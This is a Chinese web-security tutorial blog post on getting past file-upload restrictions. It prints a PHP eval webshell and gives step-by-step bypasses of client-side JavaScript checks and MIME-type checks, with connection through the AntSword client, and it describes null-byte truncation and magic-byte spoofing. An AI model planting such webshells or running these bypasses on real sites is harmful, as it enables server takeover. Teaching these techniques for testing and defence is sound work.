当前位置:网站首页>WEB安全基础 - - -文件上传(文件上传绕过)
WEB安全基础 - - -文件上传(文件上传绕过)
2022-07-24 10:15:00 【干掉芹菜】
目录
一,绕过客户端检测
原理:
通常在上传页面里含有专门检测文件上传的 JavaScript 代码,最常见的就是检测文件类型和展名是否合法。
方法:
实例操作
第一步,编写一个一句话木马,保存为php格式
<?php eval($_POST["cmd"]);?>
第二步,上传这个php文件,发现上传失败

第三步,关闭egde中的js,步骤如下

找到设置
再cookie和网站数据中关闭JavaScript


第四步,再次上传php文件

检查有无上传成功
第五步,使用中国蚁剑密码连接

连接成功
点开目录列表,找到了文件上传成功的文件
绕过服务端检测
绕过MIME类型检测
常见的mime类型
1. 超文本标记语言文本 .html text/html2. 普通文本 .txt text/plain3. PDF文档 .pdf application/pdf4. Microsoft Word文件 .word application/msword5. PNG图像 .png image/png6. GIF图形 .gif image/gif7. JPEG图形 .jpeg,.jpg image/jpeg8. au声音文件 .au audio/basic9. MPEG文件 .mpg,.mpeg video/mpeg10. AVI文件 .avi video/x-msvideo11. GZIP文件 .gz application/x-gzip
原理:
方法:
实例:
第一步,编写一句话木马
<?php eval($_POST["cmd"]);?>
第二步,上传php文件发现不能上传,使用burpsuite抓取upload上传信息查看content-type将其修改为image/jpeg格式,点击Forward发送到浏览器

第三步 ,查看文件有无上传成功


再次使用中国蚁剑连接,发现上传成功 
绕过文件后缀检测-黑名单
黑名单:
绕过方法
实例
绕过文件后缀检测-白名单
白名单:
绕过方法:
%00截断:url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。0x00截断:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。
绕过文件内容检测
方法:
常见图片类型的文件幻数如下:
Value = FF D8 FF E0 00 10 4A 46 49 46
Value = 47 49 46 38 39 61
Value = 89 50 4E 47
文件加载检测
一般是调用API 或函数去进行文件加载测试,我们常见的是图像渲染测试,严格的进行二次渲染。
1. 对渲染/加载测试攻击 - 代码注入绕过
2. 二次渲染的攻击方式 - 攻击文件加载器自身
边栏推荐
- ZOJ 2770 differential restraint system -- 2 -- May 20, 2022
- Use of jstack "JVM common commands"
- String sort
- Wechat applet
- Dynamic programming -- a collection of stock problems
- 给你的网站加一个爱发电角标
- MySQL status view qps/tps/ cache hit rate view
- The best time to buy and sell stocks Ⅳ (leetcode-188)
- Yarn: unable to load file
- Arduino serial port information reading and output
猜你喜欢

note: expected ‘void * (***)(void ***)’ but argument is of type ‘void (*)(void *)’

高精尖中心论文入选国际顶会ACL 2022,进一步拓展长安链隐私计算能力

ffmpeg花屏解决(修改源码,丢弃不完整帧)

Server load and CPU performance tuning

String__

Uniapp calendar component

Deployment and analysis of coredns

Web page opening speed is very slow, how to solve it?
![[STM32 learning] (17) STM32 realizes LCD12864 display serial implementation](/img/93/224eaf0bbfff1d38f29e063e6ebfb8.png)
[STM32 learning] (17) STM32 realizes LCD12864 display serial implementation

Dynamic programming -- a collection of stock problems
随机推荐
Learn more about the synchronized lock upgrade process [concurrent programming]
System a uses window.open to call system B, and system B carries data back to system a after processing the business
[STM32 learning] (8) stm32f1 general timer configuration
Erlang学习番外
Dynamic planning: robbing families and houses
zoj1137+作业1--2022年5月28日
Query about operating system security patch information
Build a live broadcast platform based on webrtc
[STM32 learning] (11) STM32 Mifare_ Use of one (S50) m1s50 (read, write, key modification, control bit interpretation)
Synchronized scope "concurrent programming"
Redis configuration serialization
Ask you to build a small program server
聚集日志服务器
MySQL status view qps/tps/ cache hit rate view
Erlang学习01
Cyclicbarrier and countdownlatch [concurrent programming]
Mysql database JDBC programming
Dr. water 3
[STM32 learning] (9) stm32f1 general timer realizes simple breathing lamp
The best time to buy and sell stocks includes handling charges (leetcode-714)